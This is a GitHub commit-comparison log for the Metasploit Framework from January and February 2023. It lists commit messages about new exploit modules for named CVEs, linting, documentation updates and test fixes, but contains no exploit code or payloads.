Compare commits

...

1750 Commits

Author SHA1 Message Date
adfoster-r7 d21f6a10a2 Land #17690, Update inspect ticket tests to use the local timezone 2023-02-23 16:02:55 +00:00
dwelch-r7 6c5c158607 Land #17691, Fix module spec test failing on local machine 2023-02-23 14:52:05 +00:00
Dean Welch 8a37cc6c88 Update inspect ticket tests to use the local timezone 2023-02-23 14:39:19 +00:00
adfoster-r7 b2cc84228f Fix module spec test failing on local machine 2023-02-23 14:27:44 +00:00
Dean Welch 65c11bd8c8 Update inspect ticket tests to use the local timezone 2023-02-23 13:37:16 +00:00
Dean Welch fd5d10e610 Update inspect ticket tests to use the local timezone 2023-02-23 12:43:43 +00:00
adfoster-r7 2de3142cde Land #17685, Fixed Broken Link for Metasploit Goliath in GSOC'23 page 2023-02-23 00:43:34 +00:00
samsepi0x0 b3f30f00a7 Update GSoC-2023-Project-Ideas.md 2023-02-23 05:13:27 +05:30
samsepi0x0 b38d51edca Update GSoC-2023-Project-Ideas.md 2023-02-23 02:19:40 +05:30
samsepi0x0 6b36463086 Fixed Broken Link for Metasploit Goliath. 2023-02-23 01:34:16 +05:30
Metasploit c0042ab0d2 automatic module_metadata_base.json update 2023-02-22 12:26:24 -06:00
space-r7 9621f77bac Land #17640, add Froxlor RCE 2023-02-22 12:11:38 -06:00
Jack Heysel bf7884b2dc Removed need to auth twice when AutoCheck enabled 2023-02-22 12:28:28 -05:00
Jack Heysel f6ec3855b3 Removed space at EOL 2023-02-22 00:35:42 -05:00
Jack Heysel 0c8df1a67b Updated docs and module suggetsions 2023-02-22 00:33:40 -05:00
jheysel-r7 42146fc4ec Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 23:02:49 -05:00
jheysel-r7 80cec400bf Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:59:23 -05:00
jheysel-r7 fc5f4983f6 Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:49 -05:00
jheysel-r7 647418745f Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:41 -05:00
Metasploit e1e39ad5bc automatic module_metadata_base.json update 2023-02-21 15:44:56 -06:00
Jack Heysel e625e2e474 Land #17652, module for pyload js2py exploit
This adds an exploit for CVE-2023-0297 which is unauthenticated
Javascript injection in pyLoads Click N Load service.
2023-02-21 16:27:04 -05:00
cgranleese-r7 31a5125d78 Land #17674, Update basic discovery script database connection 2023-02-20 11:44:36 +00:00
adfoster-r7 5314d21e59 Update basic discovery script database connection 2023-02-20 09:42:59 +00:00
adfoster-r7 db290369a4 Land #17650, Fix #17602 - Update basic_discovery.rc to support commas in RHOST values 2023-02-20 09:41:08 +00:00
Grant Willcox 066d0a6f7e Land #17663, fixing case insensitive issue for show options #17459 2023-02-18 13:26:47 -06:00
manishkumarr1017 c553f80cd9 fixing case insensitive issue for show options #17459 2023-02-18 05:51:46 +00:00
Metasploit 9cf2bbf352 automatic module_metadata_base.json update 2023-02-17 12:36:29 -06:00
Spencer McIntyre c6e9c8e3db Land #17660, Move temp storage of reg hives
Move temp storage of reg hives to %TEMP%
2023-02-17 13:12:29 -05:00
cgranleese-r7 292c160abf Land #17637, Add module information to docs site 2023-02-17 14:32:10 +00:00
Jonas Vestberg c610949a5a Move temp storage of reg hives to %TEMP% 2023-02-16 20:13:31 +01:00
Jack Heysel 44c393e2f1 Fixed netcat session cleanup 2023-02-16 13:14:24 -05:00
Metasploit 71cecfb1d4 Bump version of framework to 6.3.4 2023-02-16 12:12:20 -06:00
Jack Heysel 1c49b002d2 Changed get_csrf to use xpath 2023-02-16 10:47:04 -05:00
Jack Heysel 00d1637f3d Changed check method to use xpath 2023-02-16 10:33:15 -05:00
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
samsepi0x0 12c739b881 Update basic_discovery.rc 2023-02-16 03:53:21 +05:30
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Spencer McIntyre ecd5ad29a7 Add module docs 2023-02-15 16:29:42 -05:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
samsepi0x0 86e8f5c484 Correctly parsed before the scan. 2023-02-15 14:47:24 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Spencer McIntyre 557042c91c Initial exploit is working 2023-02-15 14:18:25 -05:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Jack Heysel 8aed02de3d Linting 2023-02-14 10:39:47 -05:00
adfoster-r7 bf57918454 Add module information to docs site 2023-02-14 13:10:03 +00:00
Jack Heysel ff159c8760 Updated TODO 2023-02-13 20:24:32 -05:00
Jack Heysel ca0b1ffe05 Documentation fixes 2023-02-13 19:56:23 -05:00
Jack Heysel 2e195b2742 Initial commit Froxlor RCE 2023-02-13 19:39:18 -05:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
Metasploit 73567cfbf6 automatic module_metadata_base.json update 2023-02-09 11:57:08 -06:00
Grant Willcox 43b4ee268c Land #17592, Fix bypassuac_injection_winsxs for x64 2023-02-09 11:41:51 -06:00
Spencer McIntyre e6f4e96544 Close hFindFile 2023-02-09 11:43:20 -05:00
adfoster-r7 139ad4a4be Land #17623, Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 13:21:10 +00:00
bcoles de8a6e1445 Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 23:12:45 +11:00
Metasploit 2f20c9836f automatic module_metadata_base.json update 2023-02-09 04:25:48 -06:00
cgranleese-r7 508f5c7e52 Land #17619, Run rubocop on exploit modules 2023-02-09 10:11:53 +00:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Jack Heysel 19bcf8be7f Working hardcoded payload 2023-02-08 18:14:11 -05:00
Metasploit a9bd7e9f46 automatic module_metadata_base.json update 2023-02-08 13:31:52 -06:00
bwatters 01a78f972c Land #17567, ManageEngine Endpoint Central RCE (CVE-2022-47966)
Merge branch 'land-17567' into upstream-master
2023-02-08 13:06:53 -06:00
Metasploit 79a5481d9c automatic module_metadata_base.json update 2023-02-08 12:10:30 -06:00
Spencer McIntyre c997952d83 Land #17607, Fortra RCE CVE-2023-0669
Fortra deserialization RCE CVE-2023-0669 (ETR)
2023-02-08 12:56:09 -05:00
Metasploit 810ef42bf0 automatic module_metadata_base.json update 2023-02-08 11:55:11 -06:00
Ron Bowes 0c6ebed3ac Merge pull request #3 from smcintyre-r7/pr/collab/17607
Pr/collab/17607
2023-02-08 09:41:35 -08:00
cgranleese-r7 a878403a3e Land #17618, Run rubocop on auxiliary admin http modules 2023-02-08 17:40:26 +00:00
Metasploit 0de766498c automatic module_metadata_base.json update 2023-02-08 10:49:50 -06:00
cgranleese-r7 c3e9e2751a Land #17617, Update linting on post modules 2023-02-08 16:35:20 +00:00
adfoster-r7 656ded4b86 Add module notes 2023-02-08 15:46:07 +00:00
Spencer McIntyre 2b008af097 Move the module to reflect it targets Windows too 2023-02-08 10:24:27 -05:00
adfoster-r7 25ee41df68 Run rubocop on exploit modules 2023-02-08 15:20:32 +00:00
adfoster-r7 9469c8394a Update rubocop rules for moules 2023-02-08 15:18:25 +00:00
Spencer McIntyre 75ceb7b670 Refactor option handling.
Use CamelCase names for advaned options and add validation.
2023-02-08 10:17:16 -05:00
Spencer McIntyre fef7c85518 Add Windows target compatibility 2023-02-08 09:47:37 -05:00
adfoster-r7 6e9b33dc88 Run rubocop on auxiliary admin http modules 2023-02-08 14:30:08 +00:00
Metasploit 716ba68b25 automatic module_metadata_base.json update 2023-02-08 08:24:26 -06:00
adfoster-r7 b56213b168 Update linting on post modules 2023-02-08 14:12:43 +00:00
dwelch-r7 11c886b30f Land #17616, Run rubocop on post modules 2023-02-08 14:09:16 +00:00
adfoster-r7 a81a71c5df Run rubocop on post modules 2023-02-08 13:47:34 +00:00
adfoster-r7 488cfc84ef Disable noisey or unsafe Rubocop rules 2023-02-08 13:42:49 +00:00
Metasploit f8bb85ffe3 automatic module_metadata_base.json update 2023-02-08 07:06:26 -06:00
dwelch-r7 7909fe32c2 Land #17612, Add exception handling for finalizer methods 2023-02-08 12:33:52 +00:00
cgranleese-r7 10144a9f13 Land #17615, Add missing module notes for stability reliability and side effects 2023-02-08 12:28:47 +00:00
adfoster-r7 433bafdccf Add missing module notes for stability reliability and side effects 2023-02-08 11:45:17 +00:00
adfoster-r7 d261aa6a2b Land #17603, Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-08 11:22:20 +00:00
adfoster-r7 4311c34a0b Land #17614, Weekly dependency updates for Gemfile.lock 2023-02-08 11:13:15 +00:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Grant Willcox affe47957b Bump up Gems 2023-02-07 17:21:16 -06:00
Metasploit 1168658f0e automatic module_metadata_base.json update 2023-02-07 17:21:03 -06:00
dwelch-r7 782e4c0295 Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-07 23:14:00 +00:00
bwatters 8ee67085c8 Land #17556, ManageEngine ADSelfService Plus RCE (CVE-2022-47966)
Merge branch 'land-17556' into upstream-master
2023-02-07 16:57:22 -06:00
Metasploit a036c2fae0 automatic module_metadata_base.json update 2023-02-07 15:54:12 -06:00
Grant Willcox c2e8f3fa69 Land #17494, Add NagiosXI authenticated RCE (CVE-2021-25296, CVE-2021-25297,CVE-2021-25298) exploit module 2023-02-07 15:38:36 -06:00
adfoster-r7 f145a214ca Add exception handling for finalizer methods 2023-02-07 20:28:15 +00:00
Matthew Dunn 52fa2e5be6 Add example for version 5.5.6 with CVE-2021-25297 2023-02-07 14:18:53 -06:00
Grant Willcox 489ab24876 Add in additional case documentation for the various targets and CVEs and fix a bug in the code 2023-02-07 14:18:45 -06:00
Matthew Dunn 8ba7a28caf Add quotes to set-time command in docs 2023-02-07 14:18:45 -06:00
Grant Willcox 7c30889784 Refactor code to handle unsigned licenses in one central function 2023-02-07 14:18:39 -06:00
Grant Willcox b14bcd40a2 Fix incorrect match logic grabbing the wrong entry from results for NSP 2023-02-07 14:18:38 -06:00
Grant Willcox 425da60b15 Add in missing case 5 check 2023-02-07 14:18:38 -06:00
Matthew Dunn 90e07ef5ed Switch to match over scan and add troubleshooting steps 2023-02-07 14:18:37 -06:00
Matthew Dunn 8cddf56238 Verify auth_cookies before use 2023-02-07 14:18:37 -06:00
Matthew Dunn a276659681 Use more encompassing single regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 7554b5e4fd Add failure condition for nsp's that fail to match the regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 1cb06b11ac Adjust exploit and docs to support versions 5.5.6-5.7.5 2023-02-07 14:18:09 -06:00
Matthew Dunn 87176f9d7f Address Review Comments and add CVE-2021-25297 coverage 2023-02-07 14:18:06 -06:00
Matthew Dunn c5914d8c99 Insert randomized strings to fix exploit with plugin_output_len 2023-02-07 14:18:05 -06:00
Matthew Dunn 990db5372f Remove extra payload details, add config check 2023-02-07 14:18:05 -06:00
Matthew Dunn b042e71b2a Make Module work for both target url parameters 2023-02-07 14:18:04 -06:00
Matthew Dunn b606d1ff6b Add Documentation for Module
Fix CVE format

Add Documentation
2023-02-07 14:18:04 -06:00
Matthew Dunn 5846d95b25 Create nagios_xi_configwizards_authenticated_rce.rb
Add initial module
2023-02-07 14:18:03 -06:00
Ron Bowes 676bb2af02 Fix a couple requests from the PR 2023-02-07 09:05:44 -08:00
Ron Bowes 588bddc950 Fix a couple requests from the PR 2023-02-07 09:05:16 -08:00
Metasploit 4143e6ea92 automatic module_metadata_base.json update 2023-02-06 17:52:49 -06:00
bwatters 53c67653f5 Land #17527, ManageEngine ServiceDesk Plus RCE (CVE-2022-47966)
Merge branch 'land-17527' into upstream-master
2023-02-06 17:37:31 -06:00
Ron Bowes f7fb611bcc Add documentation 2023-02-06 14:35:42 -08:00
bwatters 8b116a7dcd Minor punctuation change 2023-02-06 16:32:39 -06:00
Ron Bowes 89485703dc Make rubocop happy 2023-02-06 14:23:55 -08:00
Ron Bowes 9b90343480 Check in the module 2023-02-06 14:21:42 -08:00
Metasploit b9bcf45a7d automatic module_metadata_base.json update 2023-02-06 08:21:33 -06:00
adfoster-r7 4a2dc0d6b0 Land #17598, modules/exploits/unix/local Add Notes and resolve RuboCop violations 2023-02-06 13:59:19 +00:00
adfoster-r7 215cfa27b0 Land #17483, add tomcat 8 priv esc on ubuntu (cve-2016-1240) 2023-02-06 13:53:25 +00:00
Spencer McIntyre 6e6d8473b6 Land #17595, Documentation update
Documentation update to reflect Address instead of Host in ReverseListener setup
2023-02-06 08:45:39 -05:00
h00die-gr3y d763faf245 sync documentation 2023-02-06 06:56:59 +00:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
Metasploit 42e1bed3f5 automatic module_metadata_base.json update 2023-02-05 08:23:02 -06:00
adfoster-r7 af29786f1b Land #17597, qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 14:08:57 +00:00
h00die a5a7d5dd10 correct cleanup and stabilization 2023-02-05 08:15:38 -05:00
bcoles adf5091c7a modules/exploits/unix/local: Add Notes and resolve RuboCop violations 2023-02-05 15:45:30 +11:00
bcoles 19b526d584 qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 12:04:59 +11:00
h00die 561b42f105 use exploit retry function 2023-02-04 18:17:42 -05:00
h00die 6aa6f5176b touch up verbiage and stuff 2023-02-04 18:17:42 -05:00
h00die aff14e8e46 tocat to tomcat 2023-02-04 18:17:42 -05:00
h00die e30cae2e40 uncomment needed code 2023-02-04 18:17:42 -05:00
h00die 34b1e66f90 tomcat 8 priv esc on ubuntu prebuilt so file 2023-02-04 18:17:41 -05:00
h00die 2b09af78e1 tomcat 8 priv esc on ubuntu 2023-02-04 18:17:41 -05:00
Matt Konda c3393f30c3 Update to reflect Address instead of Host in
Update the name of the ReverseListenerBindAddress (instead of ReverseListenserBindHost) because that seems to be works.

```
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindHost 172.17.0.2                                                  
[-] Unknown datastore option: ReverseListenerBindHost. Did you mean ReverseListenerBindPort?                                           
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindAddress 172.17.0.2                                               
ReverseListenerBindAddress => 172.17.0.2
```
2023-02-03 23:27:32 -06:00
Grant Willcox ad82437067 Land #17591, Fix metasm_shell by requiring readline 2023-02-03 15:14:32 -06:00
Spencer McIntyre dc179f6279 Fix stack trace on exit via Ctrl+D (EOF) 2023-02-03 14:38:07 -05:00
Spencer McIntyre 51fd9ee703 Require readline 2023-02-03 14:38:02 -05:00
Spencer McIntyre f2e5e77e27 Fix bypassuac_injection_winsxs for x64
Tested on Windows 8.1, prior to these chagnes the bad railgun definition
would cause the session to crash.
2023-02-03 13:02:53 -05:00
adfoster-r7 fd43c43a30 Land #17452, Deprecate import-dev-keys script 2023-02-03 17:49:57 +00:00
Grant Willcox d576e77b70 Deprecate import-dev-keys.sh 2023-02-03 10:12:12 -06:00
cgranleese-r7 6d62362b82 Land #17587, Update wiki to use latest ruby conventions 2023-02-03 14:30:16 +00:00
Metasploit 3b80e223b1 automatic module_metadata_base.json update 2023-02-03 07:57:50 -06:00
cgranleese-r7 80dbbca020 Land #17371, Lenovo Diagnostics Driver Privilege Escalation (CVE-2022-3699) 2023-02-03 13:43:04 +00:00
adfoster-r7 c777b33fcb Update wiki to use latest ruby conventions 2023-02-03 13:35:03 +00:00
adfoster-r7 c3c3987867 Land #17398, Update cmdstager docs 2023-02-03 13:08:01 +00:00
Metasploit 87323134a5 automatic module_metadata_base.json update 2023-02-02 14:28:38 -06:00
Jack Heysel 6ab7e177f4 Land #17392, add F5 Big-IP priv esc module
Add a privilege escalation module for F5 that uses
the unsecured MCP socket to create a new root account
2023-02-02 15:10:33 -05:00
Metasploit feee510999 automatic module_metadata_base.json update 2023-02-02 13:03:49 -06:00
Jack Heysel 99e31c561a Land #17585, mac dirty cow add session types
Sets missing session types during module initialization
2023-02-02 13:36:43 -05:00
Jack Heysel f4ad778bd0 Added missing session types 2023-02-02 13:29:43 -05:00
Metasploit 5d6e989e64 Bump version of framework to 6.3.2 2023-02-02 12:11:52 -06:00
Metasploit 83f9964e99 automatic module_metadata_base.json update 2023-02-02 12:03:09 -06:00
adfoster-r7 cfb5a55880 Land #16946, Add row indicator to show targets command 2023-02-02 17:26:53 +00:00
Jack Heysel af2ef53462 Land #17415, macOS dirty cow priv esc 2023-02-02 12:15:19 -05:00
adfoster-r7 b408837b7f Land #17575, Load TGS tickets with a different sname 2023-02-02 17:02:48 +00:00
cgranleese-r7 d1e68e634a Add row indicator to show targets command 2023-02-02 16:12:19 +00:00
Jack Heysel 1f224fd2d3 Rapid7 compiled binary 2023-02-02 11:11:06 -05:00
Jack Heysel 88caeddc8c Fixed license 2023-02-02 11:10:06 -05:00
Jack Heysel 4de5e44bda Documentation 2023-02-02 10:38:26 -05:00
Spencer McIntyre 3eaed76025 Land #17561, Fix functions in def_iphlpapi.rb
Fix input and output buffers for some mislabeled functions in def_iphlpapi.rb
2023-02-02 09:10:28 -05:00
Metasploit 2b2406f9af automatic module_metadata_base.json update 2023-02-02 05:05:42 -06:00
adfoster-r7 952a4fe37a Land #17581, modules: Check datastore ForceExploit before checking if session is root 2023-02-02 10:19:07 +00:00
adfoster-r7 56866ad09a Land #17580, update links to new docs website 2023-02-02 10:15:10 +00:00
bcoles 6f4a17230d exploits/osx/local/vmware_fusion_lpe: Add notes 2023-02-02 18:46:08 +11:00
bcoles a83d070396 exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc: Add Reliability notes 2023-02-02 18:45:43 +11:00
bcoles ef87a63bde modules: Check datastore ForceExploit before checking if session is root 2023-02-02 18:17:02 +11:00
Grant Willcox 48a27ab555 Fix the remaining references to the old wiki site. 2023-02-01 21:25:06 -06:00
Metasploit e752e1dbca automatic module_metadata_base.json update 2023-02-01 18:12:49 -06:00
adfoster-r7 6870efc34a Land #17426, Update all references to old Wiki to point to new docs site 2023-02-01 23:49:20 +00:00
Metasploit f128640bf1 automatic module_metadata_base.json update 2023-02-01 16:59:01 -06:00
Jack Heysel c90a6f9068 Land #17406, veeam_credential_dump post module
Veeam Backup & Recovery and Veeam ONE Monitor credential
capture post module for versions 9.x and 11.x.
2023-02-01 17:29:05 -05:00
Metasploit 4418bcc673 automatic module_metadata_base.json update 2023-02-01 16:18:56 -06:00
Jack Heysel f4c5632b6d Cleaned up license file 2023-02-01 17:04:26 -05:00
Jack Heysel 076ffbcc65 Merge branch 'mac_dirty_cow' of github.com:timwr/metasploit-framework into mac_dirty_cow 2023-02-01 16:57:36 -05:00
Jack Heysel 3c7cbf62e6 Updated default payload 2023-02-01 16:56:28 -05:00
jheysel-r7 6037936869 Update LICENSE 2023-02-01 16:54:04 -05:00
jheysel-r7 595f34fc6f Merge branch 'master' into mac_dirty_cow 2023-02-01 16:51:09 -05:00
Grant Willcox e9fef56186 Land #17481, Update HTTP options module 2023-02-01 15:49:27 -06:00
Jack Heysel 057f046186 Updated license file 2023-02-01 16:46:45 -05:00
h00die 4ba04df138 update http options 2023-02-01 15:12:39 -06:00
Ron Bowes cf172d22c8 Get rid of #String.hash in favour of UnixCrypt 2023-02-01 11:02:04 -08:00
Grant Willcox b5a83ffd0f Add in PULONG alias to PDWORD and update definitions 2023-02-01 12:36:22 -06:00
Ron Bowes 1094221468 Merge branch 'rapid7:master' into f5-createuser-privesc 2023-02-01 10:20:43 -08:00
Jeffrey Martin 8d31b63f7a update Pro version docs for 4.22.0 release 2023-02-01 12:19:59 -06:00
Ron Bowes 34d93e862c Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:16:03 -08:00
Ron Bowes e90b47fd17 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:15:00 -08:00
Ron Bowes d89c193db2 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:38 -08:00
Ron Bowes 638a1c519d Update documentation/modules/exploit/linux/local/f5_create_user.md
Better demo exploit

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:25 -08:00
Metasploit b922bb533b automatic module_metadata_base.json update 2023-02-01 11:15:51 -06:00
adfoster-r7 014bdddd1a Land #17564, Fixed AnyConnect IPC message format 2023-02-01 16:34:44 +00:00
adfoster-r7 a5990a5a7d Land #17578, modules/exploits/openbsd Add notes and use CheckCodes messages 2023-02-01 16:26:59 +00:00
Metasploit 5af2689a0e automatic module_metadata_base.json update 2023-02-01 10:16:55 -06:00
Jack Heysel a6f0a8abe3 Land #17301, module for cve-2022-1043, linux LPE
This module exploits a bug in io_uring leading to an additional put_cred
that can be exploited to hijack credentials of other processes.
2023-02-01 10:38:10 -05:00
Jack Heysel 690d22f759 Rapid7 compiled binary 2023-02-01 10:08:13 -05:00
Spencer McIntyre 994d41ac80 Update parts of the docs 2023-02-01 09:28:00 -05:00
adfoster-r7 5a1eb16018 Land #17574, Use the new NDR types in RubySMB v3.2.4 2023-02-01 12:02:47 +00:00
Metasploit 4a04a86675 automatic module_metadata_base.json update 2023-02-01 05:46:09 -06:00
bcoles 86a6611e98 modules/exploits/openbsd: Add notes and use CheckCodes messages 2023-02-01 22:26:44 +11:00
adfoster-r7 1ff1cd1779 Land #17577, modules/exploits/qnx Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 11:20:49 +00:00
bcoles c9012ae222 modules/exploits/qnx: Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 20:51:44 +11:00
h00die 2c72cc145a updates to module 2023-01-31 20:05:33 -05:00
Spencer McIntyre 84f798da32 Allow loading TGS tickets for other service names
Fixes #17571
2023-01-31 17:03:25 -05:00
h00die fa687d3614 argv instead of hardcoded payload path 2023-01-31 16:02:25 -05:00
h00die 5a374533af cve-2022-1043 2023-01-31 16:02:25 -05:00
h00die 8d58eb6279 cve-2022-1043 2023-01-31 16:02:25 -05:00
Metasploit 42542102e3 automatic module_metadata_base.json update 2023-01-31 13:59:14 -06:00
Jack Heysel 2306736383 Land #17300, the latest commit in PR 17300
I made a mistake and was not up to date with the latest commit
in the PR before I landed, this fixes that mistake.
2023-01-31 14:18:01 -05:00
Jack Heysel 022760d24a Land #17300, linux LPE cve-2022-22942 module
This PR adds a linux priv esc against VMWare virtual machines
 with kernel 4.14-rc1 - 5.17-rc1 due to a VMWare driver bug.
2023-01-31 14:07:55 -05:00
Jack Heysel e99407fe26 Updated pre_compiled binary 2023-01-31 13:37:45 -05:00
Jeffrey Martin 9c7665a017 add GSoC 2023 to navigation 2023-01-31 11:00:26 -06:00
Grant Willcox b866bf59c8 Land #17444, Fix parsing of module options with special characters 2023-01-31 10:42:16 -06:00
Grant Willcox 8805ed2b5a Last minute typo fixes 2023-01-31 10:41:47 -06:00
Jeffrey Martin 77dd6bd77e add initial 2023 GSoC ideas doc 2023-01-31 10:18:12 -06:00
Spencer McIntyre 0d9a282237 Use the new NDR types in RubySMB v3.2.4 2023-01-31 10:08:27 -05:00
Metasploit daa96f9fb7 automatic module_metadata_base.json update 2023-01-31 08:53:19 -06:00
adfoster-r7 56728fc7c2 Land #17573, modules/exploits/linux/ssh Resolve Rubocop violations 2023-01-31 14:12:03 +00:00
adfoster-r7 bbf17c167c Land #17511, add exploit for CVE-2022-44877 command injection in CentOS Control Web Panel 2023-01-31 14:05:19 +00:00
adfoster-r7 5076518fe4 Land #17559, add support for Ruby 3.2 2023-01-31 13:45:51 +00:00
cgranleese-r7 fb196cb378 Testing Ruby 3.2 against CI 2023-01-31 13:19:06 +00:00
bcoles 11cf391da8 modules/exploits/linux/ssh: Resolve Rubocop violations 2023-01-31 23:59:22 +11:00
adfoster-r7 7bb0eca931 Land #17545, use strings in YAML files 2023-01-30 22:52:19 +00:00
Metasploit 42004c07bc automatic module_metadata_base.json update 2023-01-30 16:43:35 -06:00
adfoster-r7 433099e539 Land #17563, modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-30 22:16:41 +00:00
Grant Willcox bfc5c563a1 Land #17570, Add new queries and attributes for ldap_query 2023-01-30 16:14:26 -06:00
Spencer McIntyre 902eaa2562 Add new queries and attributes for ldap_query 2023-01-30 16:24:23 -05:00
dwelch-r7 e3a9e5a163 Land #17565, Add Metasploit prompt color highlighting to docs 2023-01-30 13:05:08 +00:00
adfoster-r7 f3a372719c Land #17568, Plugins: Resolve Rubocop violations 2023-01-30 11:35:31 +00:00
Christophe De La Fuente f676568d89 Fix CVE 2023-01-30 12:18:08 +01:00
Christophe De La Fuente a5ba1245c2 Fix CVE 2023-01-30 12:15:14 +01:00
bcoles db90604333 plugins/bescure: Replace 'initheaders' Hash key with Hash in Net::HTTP::Post.new calls 2023-01-30 22:11:21 +11:00
bcoles 4ff475f180 plugins: Resolve rubocop violations 2023-01-30 13:07:16 +11:00
